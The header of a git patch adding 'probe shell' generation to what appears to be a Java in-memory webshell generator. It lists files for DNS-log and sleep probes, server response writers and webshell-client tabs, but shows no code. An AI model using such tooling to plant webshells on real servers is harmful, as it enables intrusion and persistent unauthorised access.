From 13be57e66d8cb54e59234f10dc08b7eeac9a6d46 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 11 Aug 2025 01:05:52 +0800 Subject: [PATCH] feat: support probe shell generation --- .github/workflows/test.yaml | 59 +- asserts/http_post_server.py | 35 + .../boot/controller/GeneratorController.java | 4 +- .../controller/ProbeGeneratorController.java | 33 + .../javaweb/boot/dto/GenerateResponse.java | 8 +- .../boot/dto/ProbeGenerateRequest.java | 44 + .../boot/dto/ProbeGenerateResponse.java | 29 + .../java/com/reajason/javaweb/Constants.java | 24 + .../javaweb/memshell/MemShellGenerator.java | 5 +- ...enerateResult.java => MemShellResult.java} | 15 +- .../memshell/generator/ListenerGenerator.java | 13 +- .../generator/command/CommandGenerator.java | 12 +- .../memshell/utils/ShellCommonUtil.java | 4 + .../reajason/javaweb/probe/ProbeContent.java | 14 + .../javaweb/probe/ProbeGenerator.java | 26 + .../reajason/javaweb/probe/ProbeMethod.java | 38 + .../reajason/javaweb/probe/ProbeResult.java | 49 + .../javaweb/probe/config/DnsLogConfig.java | 18 + .../javaweb/probe/config/ProbeConfig.java | 58 + .../probe/config/ProbeContentConfig.java | 13 + .../probe/config/ResponseBodyConfig.java | 18 + .../javaweb/probe/config/SleepConfig.java | 17 + .../generator/ByteBuddyShellGenerator.java | 41 + .../probe/generator/DnsLogGenerator.java | 48 + .../probe/generator/SleepGenerator.java | 40 + .../response/ResponseBodyGenerator.java | 132 ++ .../probe/payload/BasicInfoPrinter.java | 67 + .../javaweb/probe/payload/ByteCodeProbe.java | 47 + .../javaweb/probe/payload/CommandProbe.java | 36 + .../javaweb/probe/payload/JdkProbe.java | 30 + .../javaweb/probe/payload/OsProbe.java | 26 + .../javaweb/probe/payload/ServerProbe.java | 81 + .../javaweb/probe/payload/dns/DnsLogJdk.java | 33 + .../probe/payload/dns/DnsLogServer.java | 26 + .../probe/payload/response/ApusicWriter.java | 91 + .../payload/response/GlassFishWriter.java | 119 ++ .../probe/payload/response/JettyWriter.java | 111 + .../probe/payload/response/ResinWriter.java | 83 + .../probe/payload/response/TomcatWriter.java | 130 ++ .../probe/payload/response/TongWebWriter.java | 123 ++ .../payload/response/UndertowWriter.java | 93 + .../payload/response/WebLogicWriter.java | 100 + .../payload/response/WebSphereWriter.java | 95 + .../probe/payload/sleep/SleepServer.java | 24 + .../javaweb/memshell/GeneratorMainTest.java | 20 +- .../memshell/packer/BCELPackerTest.java | 4 +- .../memshell/packer/FreemarkerPackerTest.java | 4 +- .../memshell/packer/GzipBase64Test.java | 43 +- .../memshell/packer/JspPackerTest.java | 4 +- .../packer/ScriptEnginePackerTest.java | 4 +- .../tomcat/command/CommandFilterTest.java | 8 +- .../javaweb/probe/ProbeGeneratorTest.java | 32 + .../reajason/javaweb/probe/payload/Hello.java | 12 + .../probe/payload/JdkDetectionTest.java | 30 + .../probe/payload/OsDetectionTest.java | 35 + .../probe/payload/dns/ServerDnsLogTest.java | 30 + gradle/libs.versions.toml | 6 +- integration-test/build.gradle.kts | 7 + .../javaweb/integration/ContainerTool.java | 21 + .../javaweb/integration/ErrorHandler.java | 32 + .../javaweb/integration/ProbeAssertion.java | 82 + ...AssertionTool.java => ShellAssertion.java} | 111 +- .../reajason/javaweb/integration/VulTool.java | 16 +- .../glassfish/GlassFish3ContainerTest.java | 6 +- .../glassfish/GlassFish4ContainerTest.java | 6 +- .../glassfish/GlassFish501ContainerTest.java | 6 +- .../glassfish/GlassFish510ContainerTest.java | 6 +- .../glassfish/GlassFish6ContainerTest.java | 6 +- .../glassfish/GlassFish7ContainerTest.java | 6 +- .../jbossas/Jboss423ContainerTest.java | 6 +- .../jbossas/Jboss510ContainerTest.java | 6 +- .../jbossas/Jboss610ContainerTest.java | 6 +- .../jbossas/Jboss711ContainerTest.java | 6 +- .../jbosseap/JbossEap6ContainerTest.java | 6 +- .../jbosseap/JbossEap7ContainerTest.java | 6 +- .../jetty/Jetty10ContainerTest.java | 6 +- .../jetty/Jetty11ContainerTest.java | 6 +- .../jetty/Jetty12ee10ContainerTest.java | 6 +- .../jetty/Jetty12ee8ContainerTest.java | 6 +- .../jetty/Jetty12ee9ContainerTest.java | 6 +- .../jetty/Jetty61ContainerTest.java | 6 +- .../jetty/Jetty75ContainerTest.java | 6 +- .../jetty/Jetty76ContainerTest.java | 6 +- .../jetty/Jetty81ContainerTest.java | 6 +- .../jetty/Jetty92ContainerTest.java | 6 +- .../jetty/Jetty93ContainerTest.java | 6 +- .../jetty/Jetty94ContainerTest.java | 6 +- .../payara/Payara5201ContainerTest.java | 6 +- .../payara/Payara520225ContainerTest.java | 6 +- .../payara/Payara620222ContainerTest.java | 6 +- .../resin/Resin3116ContainerTest.java | 6 +- .../resin/Resin318ContainerTest.java | 6 +- .../resin/Resin4058ContainerTest.java | 6 +- .../resin/Resin4067ContainerTest.java | 6 +- .../SpringBoot2WebFluxContainerTest.java | 6 +- .../SpringBoot3WebFluxContainerTest.java | 6 +- .../SpringBoot1ContainerTest.java | 6 +- .../SpringBoot2ContainerTest.java | 8 +- .../SpringBoot2JettyContainerTest.java | 8 +- .../SpringBoot2UndertowContainerTest.java | 8 +- .../SpringBoot2WarContainerTest.java | 8 +- .../SpringBoot3ContainerTest.java | 8 +- .../tomcat/Tomcat10ContainerTest.java | 6 +- .../tomcat/Tomcat11ContainerTest.java | 6 +- .../tomcat/Tomcat11JRE21ContainerTest.java | 6 +- .../tomcat/Tomcat5ContainerTest.java | 6 +- .../tomcat/Tomcat6ContainerTest.java | 6 +- .../tomcat/Tomcat7ContainerTest.java | 6 +- .../Tomcat8CommandEncryptorContainerTest.java | 16 +- .../tomcat/Tomcat8ContainerTest.java | 6 +- .../Tomcat8DeserializeContainerTest.java | 7 +- .../Tomcat8ExpressionContainerTest.java | 7 +- .../tomcat/Tomcat9ContainerTest.java | 6 +- .../weblogic/WebLogic1036ContainerTest.java | 6 +- .../weblogic/WebLogic12214ContainerTest.java | 6 +- .../weblogic/WebLogic14110ContainerTest.java | 6 +- .../websphere/WebSphere855ContainerTest.java | 6 +- .../websphere/WebSphere905ContainerTest.java | 6 +- .../websphere7/WebSphere700ContainerTest.java | 6 +- .../wildfly/Wildfly18ContainerTest.java | 6 +- .../wildfly/Wildfly23ContainerTest.java | 6 +- .../wildfly/Wildfly30ContainerTest.java | 6 +- .../wildfly/Wildfly9ContainerTest.java | 6 +- .../xxljob/XxlJob220ContainerTest.java | 7 +- .../xxljob/XxlJob230ContainerTest.java | 7 +- .../integration/probe/DetectionTool.java | 49 + .../glassfish/GlassFish3ContainerTest.java | 81 + .../glassfish/GlassFish4ContainerTest.java | 87 + .../glassfish/GlassFish501ContainerTest.java | 73 + .../glassfish/GlassFish510ContainerTest.java | 74 + .../glassfish/GlassFish6ContainerTest.java | 75 + .../glassfish/GlassFish7ContainerTest.java | 81 + .../probe/jbossas/Jboss423ContainerTest.java | 75 + .../probe/jbossas/Jboss510ContainerTest.java | 74 + .../probe/jbossas/Jboss610ContainerTest.java | 74 + .../probe/jbossas/Jboss711ContainerTest.java | 74 + .../jbosseap/JbossEap6ContainerTest.java | 74 + .../jbosseap/JbossEap7ContainerTest.java | 74 + .../probe/jetty/Jetty10ContainerTest.java | 78 + .../probe/jetty/Jetty11ContainerTest.java | 84 + .../probe/jetty/Jetty12ee10ContainerTest.java | 56 + .../probe/jetty/Jetty12ee8ContainerTest.java | 56 + .../probe/jetty/Jetty12ee9ContainerTest.java | 62 + .../probe/jetty/Jetty61ContainerTest.java | 84 + .../probe/jetty/Jetty75ContainerTest.java | 78 + .../probe/jetty/Jetty76ContainerTest.java | 78 + .../probe/jetty/Jetty81ContainerTest.java | 78 + .../probe/jetty/Jetty92ContainerTest.java | 79 + .../probe/jetty/Jetty93ContainerTest.java | 78 + .../probe/jetty/Jetty94ContainerTest.java | 78 + .../probe/payara/Payara5201ContainerTest.java | 80 + .../payara/Payara520225ContainerTest.java | 74 + .../payara/Payara620222ContainerTest.java | 75 + .../probe/resin/Resin3116ContainerTest.java | 74 + .../probe/resin/Resin318ContainerTest.java | 74 + .../probe/resin/Resin4058ContainerTest.java | 74 + .../probe/resin/Resin4067ContainerTest.java | 73 + .../SpringBoot2WebFluxContainerTest.java | 58 + .../SpringBoot3WebFluxContainerTest.java | 58 + .../SpringBoot1ContainerTest.java | 79 + .../SpringBoot2ContainerTest.java | 80 + .../SpringBoot2JettyContainerTest.java | 76 + .../SpringBoot2UndertowContainerTest.java | 75 + .../SpringBoot2WarContainerTest.java | 75 + .../SpringBoot3ContainerTest.java | 79 + .../probe/tomcat/Tomcat10ContainerTest.java | 78 + .../probe/tomcat/Tomcat11ContainerTest.java | 79 + .../tomcat/Tomcat11JRE21ContainerTest.java | 75 + .../probe/tomcat/Tomcat5ContainerTest.java | 79 + .../probe/tomcat/Tomcat6ContainerTest.java | 78 + .../probe/tomcat/Tomcat7ContainerTest.java | 74 + .../probe/tomcat/Tomcat8ContainerTest.java | 75 + .../probe/tomcat/Tomcat9ContainerTest.java | 73 + .../weblogic/WebLogic1036ContainerTest.java | 73 + .../weblogic/WebLogic12214ContainerTest.java | 78 + .../weblogic/WebLogic14110ContainerTest.java | 73 + .../websphere/WebSphere855ContainerTest.java | 83 + .../websphere/WebSphere905ContainerTest.java | 77 + .../websphere7/WebSphere700ContainerTest.java | 63 + .../probe/wildfly/Wildfly18ContainerTest.java | 74 + .../probe/wildfly/Wildfly23ContainerTest.java | 74 + .../probe/wildfly/Wildfly30ContainerTest.java | 73 + .../probe/wildfly/Wildfly9ContainerTest.java | 77 + .../infos/Apusic10ContainerTestBasicInfo.txt | 1664 +++++++++++++++ .../infos/Apusic9ContainerTestBasicInfo.txt | 451 ++++ .../infos/Bes951ContainerTestBasicInfo.txt | 595 ++++++ .../infos/Bes955ContainerTestBasicInfo.txt | 739 +++++++ .../GlassFish3ContainerTestBasicInfo.txt | 724 +++++++ .../GlassFish4ContainerTestBasicInfo.txt | 1069 ++++++++++ .../GlassFish501ContainerTestBasicInfo.txt | 1305 ++++++++++++ .../GlassFish510ContainerTestBasicInfo.txt | 1353 ++++++++++++ .../GlassFish6ContainerTestBasicInfo.txt | 1303 ++++++++++++ .../GlassFish7ContainerTestBasicInfo.txt | 1273 +++++++++++ .../InforSuite10ContainerTestBasicInfo.txt | 1514 +++++++++++++ .../InforSuite9ContainerTestBasicInfo.txt | 1051 +++++++++ .../infos/Jboss423ContainerTestBasicInfo.txt | 579 +++++ .../infos/Jboss510ContainerTestBasicInfo.txt | 358 ++++ .../infos/Jboss610ContainerTestBasicInfo.txt | 367 ++++ .../infos/Jboss711ContainerTestBasicInfo.txt | 1284 +++++++++++ .../infos/JbossEap6ContainerTestBasicInfo.txt | 1451 +++++++++++++ .../infos/JbossEap7ContainerTestBasicInfo.txt | 1352 ++++++++++++ .../infos/Jetty10ContainerTestBasicInfo.txt | 345 +++ .../infos/Jetty11ContainerTestBasicInfo.txt | 343 +++ .../Jetty12ee10ContainerTestBasicInfo.txt | 331 +++ .../Jetty12ee8ContainerTestBasicInfo.txt | 348 +++ .../Jetty12ee9ContainerTestBasicInfo.txt | 349 +++ .../infos/Jetty61ContainerTestBasicInfo.txt | 264 +++ .../infos/Jetty75ContainerTestBasicInfo.txt | 357 ++++ .../infos/Jetty76ContainerTestBasicInfo.txt | 370 ++++ .../infos/Jetty81ContainerTestBasicInfo.txt | 371 ++++ .../infos/Jetty92ContainerTestBasicInfo.txt | 272 +++ .../infos/Jetty93ContainerTestBasicInfo.txt | 294 +++ .../infos/Jetty94ContainerTestBasicInfo.txt | 340 +++ .../Payara5201ContainerTestBasicInfo.txt | 1880 +++++++++++++++++ .../Payara520225ContainerTestBasicInfo.txt | 1867 ++++++++++++++++ .../Payara620222ContainerTestBasicInfo.txt | 1821 ++++++++++++++++ .../Primeton65ContainerTestBasicInfo.txt | 1545 ++++++++++++++ .../infos/Resin3116ContainerTestBasicInfo.txt | 413 ++++ .../infos/Resin318ContainerTestBasicInfo.txt | 408 ++++ .../infos/Resin4058ContainerTestBasicInfo.txt | 647 ++++++ .../infos/Resin4067ContainerTestBasicInfo.txt | 638 ++++++ .../SpringBoot1ContainerTestBasicInfo.txt | 385 ++++ .../SpringBoot2ContainerTestBasicInfo.txt | 360 ++++ ...SpringBoot2JettyContainerTestBasicInfo.txt | 364 ++++ ...ingBoot2UndertowContainerTestBasicInfo.txt | 326 +++ .../SpringBoot2WarContainerTestBasicInfo.txt | 425 ++++ ...ringBoot2WebFluxContainerTestBasicInfo.txt | 262 +++ .../SpringBoot3ContainerTestBasicInfo.txt | 403 ++++ ...ringBoot3WebFluxContainerTestBasicInfo.txt | 268 +++ .../infos/Tomcat10ContainerTestBasicInfo.txt | 380 ++++ .../infos/Tomcat11ContainerTestBasicInfo.txt | 410 ++++ .../Tomcat11JRE21ContainerTestBasicInfo.txt | 437 ++++ .../infos/Tomcat5ContainerTestBasicInfo.txt | 399 ++++ .../infos/Tomcat6ContainerTestBasicInfo.txt | 260 +++ .../infos/Tomcat7ContainerTestBasicInfo.txt | 512 +++++ .../infos/Tomcat8ContainerTestBasicInfo.txt | 379 ++++ .../infos/Tomcat9ContainerTestBasicInfo.txt | 567 +++++ .../infos/TongWeb6ContainerTestBasicInfo.txt | 1420 +++++++++++++ .../infos/TongWeb7ContainerTestBasicInfo.txt | 1064 ++++++++++ .../infos/TongWeb8ContainerTestBasicInfo.txt | 851 ++++++++ .../WebLogic1036ContainerTestBasicInfo.txt | 401 ++++ .../WebLogic12214ContainerTestBasicInfo.txt | 463 ++++ .../WebLogic14110ContainerTestBasicInfo.txt | 448 ++++ .../WebSphere700ContainerTestBasicInfo.txt | 734 +++++++ .../WebSphere855ContainerTestBasicInfo.txt | 1085 ++++++++++ .../WebSphere905ContainerTestBasicInfo.txt | 1084 ++++++++++ .../infos/Wildfly18ContainerTestBasicInfo.txt | 1325 ++++++++++++ .../infos/Wildfly23ContainerTestBasicInfo.txt | 1380 ++++++++++++ .../infos/Wildfly30ContainerTestBasicInfo.txt | 1321 ++++++++++++ .../infos/Wildfly9ContainerTestBasicInfo.txt | 1585 ++++++++++++++ memshell-party-common/build.gradle.kts | 3 + .../reajason/javaweb/ClassBytesShrink.java | 8 +- .../MethodCallReplaceVisitorWrapper.java | 16 +- .../MethodCallReplaceVisitorWrapperTest.java | 15 +- .../jetty/JettyHandlerAgentInjector.java | 8 +- .../jakarta/Base64ClassLoaderServlet.java | 3 +- .../main/java/Base64ClassLoaderServlet.java | 3 +- web/.env | 3 +- web/.env.production | 3 +- web/biome.json | 60 +- web/bun.lockb | Bin 166460 -> 207612 bytes web/package.json | 45 +- web/src/components/code-viewer.tsx | 20 +- .../components/magicui/line-shadow-text.tsx | 4 +- web/src/components/magicui/rainbow-button.tsx | 6 +- .../components/{tips => memshell}/jre-tip.tsx | 0 .../{ => memshell}/main-config-card.tsx | 68 +- .../{ => memshell}/package-config-card.tsx | 8 +- .../components/{ => memshell}/quick-usage.tsx | 0 .../{ => memshell}/results/agent.tsx | 8 +- .../{ => memshell}/results/basic-info.tsx | 20 +- .../{ => memshell}/results/feedback-alert.tsx | 4 +- .../{ => memshell}/results/jar-result.tsx | 4 +- .../{ => memshell}/results/multi-packer.tsx | 7 +- .../results/result-component.tsx | 9 +- .../{ => memshell}/shell-result.tsx | 7 +- .../{tools => memshell/tabs}/antsword-tab.tsx | 14 +- .../{tools => memshell/tabs}/behinder-tab.tsx | 14 +- .../tabs}/classname-field.tsx | 8 +- .../{tools => memshell/tabs}/command-tab.tsx | 16 +- .../{tools => memshell/tabs}/custom-tab.tsx | 16 +- .../{tools => memshell/tabs}/godzilla-tab.tsx | 14 +- .../{tools => memshell/tabs}/neoreg-tab.tsx | 14 +- .../tabs}/shelltype-field.tsx | 6 +- .../{tools => memshell/tabs}/suo5-tab.tsx | 14 +- .../tabs}/urlpattern-field.tsx | 6 +- web/src/components/probe/basic-info.tsx | 32 + web/src/components/probe/main-config-card.tsx | 356 ++++ .../components/probe/package-config-card.tsx | 93 + web/src/components/probe/quick-usage.tsx | 26 + web/src/components/probe/shell-result.tsx | 57 + web/src/config.ts | 5 +- web/src/i18n/en.json | 2 +- web/src/i18n/zh-CN.json | 2 +- web/src/lib/config.ts | 4 +- web/src/pages/detection.tsx | 802 ------- web/src/pages/landing.tsx | 36 +- web/src/pages/memshell.tsx | 50 +- web/src/pages/probe.tsx | 110 + web/src/providers/query-client-provider.tsx | 4 +- web/src/router.tsx | 35 +- web/src/types/probe.ts | 66 + web/src/types/schema.ts | 110 +- web/src/utils/transformer.ts | 38 +- 304 files changed, 59084 insertions(+), 1454 deletions(-) create mode 100644 asserts/http_post_server.py create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeGeneratorController.java create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateRequest.java create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateResponse.java create mode 100644 generator/src/main/java/com/reajason/javaweb/Constants.java rename generator/src/main/java/com/reajason/javaweb/memshell/{config/GenerateResult.java => MemShellResult.java} (85%) create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/ProbeGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/ProbeMethod.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/ProbeResult.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/config/DnsLogConfig.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/config/ProbeContentConfig.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/config/SleepConfig.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/BasicInfoPrinter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/CommandProbe.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/JdkProbe.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/OsProbe.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogJdk.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogServer.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/response/ApusicWriter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/sleep/SleepServer.java create mode 100644 generator/src/test/java/com/reajason/javaweb/probe/ProbeGeneratorTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/probe/payload/Hello.java create mode 100644 generator/src/test/java/com/reajason/javaweb/probe/payload/JdkDetectionTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/probe/payload/OsDetectionTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/probe/payload/dns/ServerDnsLogTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/ErrorHandler.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java rename integration-test/src/test/java/com/reajason/javaweb/integration/{ShellAssertionTool.java => ShellAssertion.java} (75%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/glassfish/GlassFish3ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/glassfish/GlassFish4ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/glassfish/GlassFish501ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/glassfish/GlassFish510ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/glassfish/GlassFish6ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/glassfish/GlassFish7ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jbossas/Jboss423ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jbossas/Jboss510ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jbossas/Jboss610ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jbossas/Jboss711ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jbosseap/JbossEap6ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jbosseap/JbossEap7ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty10ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty11ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty12ee10ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty12ee8ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty12ee9ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty61ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty75ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty76ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty81ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty92ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty93ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/jetty/Jetty94ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/payara/Payara5201ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/payara/Payara520225ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/payara/Payara620222ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/resin/Resin3116ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/resin/Resin318ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/resin/Resin4058ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/resin/Resin4067ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/springwebflux/SpringBoot2WebFluxContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/springwebflux/SpringBoot3WebFluxContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/springwebmvc/SpringBoot1ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/springwebmvc/SpringBoot2ContainerTest.java (90%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/springwebmvc/SpringBoot2JettyContainerTest.java (90%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/springwebmvc/SpringBoot2UndertowContainerTest.java (90%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/springwebmvc/SpringBoot2WarContainerTest.java (90%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/springwebmvc/SpringBoot3ContainerTest.java (90%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/tomcat/Tomcat10ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/tomcat/Tomcat11ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/tomcat/Tomcat11JRE21ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/tomcat/Tomcat5ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/tomcat/Tomcat6ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/tomcat/Tomcat7ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/tomcat/Tomcat8CommandEncryptorContainerTest.java (82%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/tomcat/Tomcat8ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/tomcat/Tomcat8DeserializeContainerTest.java (90%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/tomcat/Tomcat8ExpressionContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/tomcat/Tomcat9ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/weblogic/WebLogic1036ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/weblogic/WebLogic12214ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/weblogic/WebLogic14110ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/websphere/WebSphere855ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/websphere/WebSphere905ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/websphere7/WebSphere700ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/wildfly/Wildfly18ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/wildfly/Wildfly23ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/wildfly/Wildfly30ContainerTest.java (91%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/wildfly/Wildfly9ContainerTest.java (92%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/xxljob/XxlJob220ContainerTest.java (88%) rename integration-test/src/test/java/com/reajason/javaweb/integration/{ => memshell}/xxljob/XxlJob230ContainerTest.java (88%) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java create mode 100644 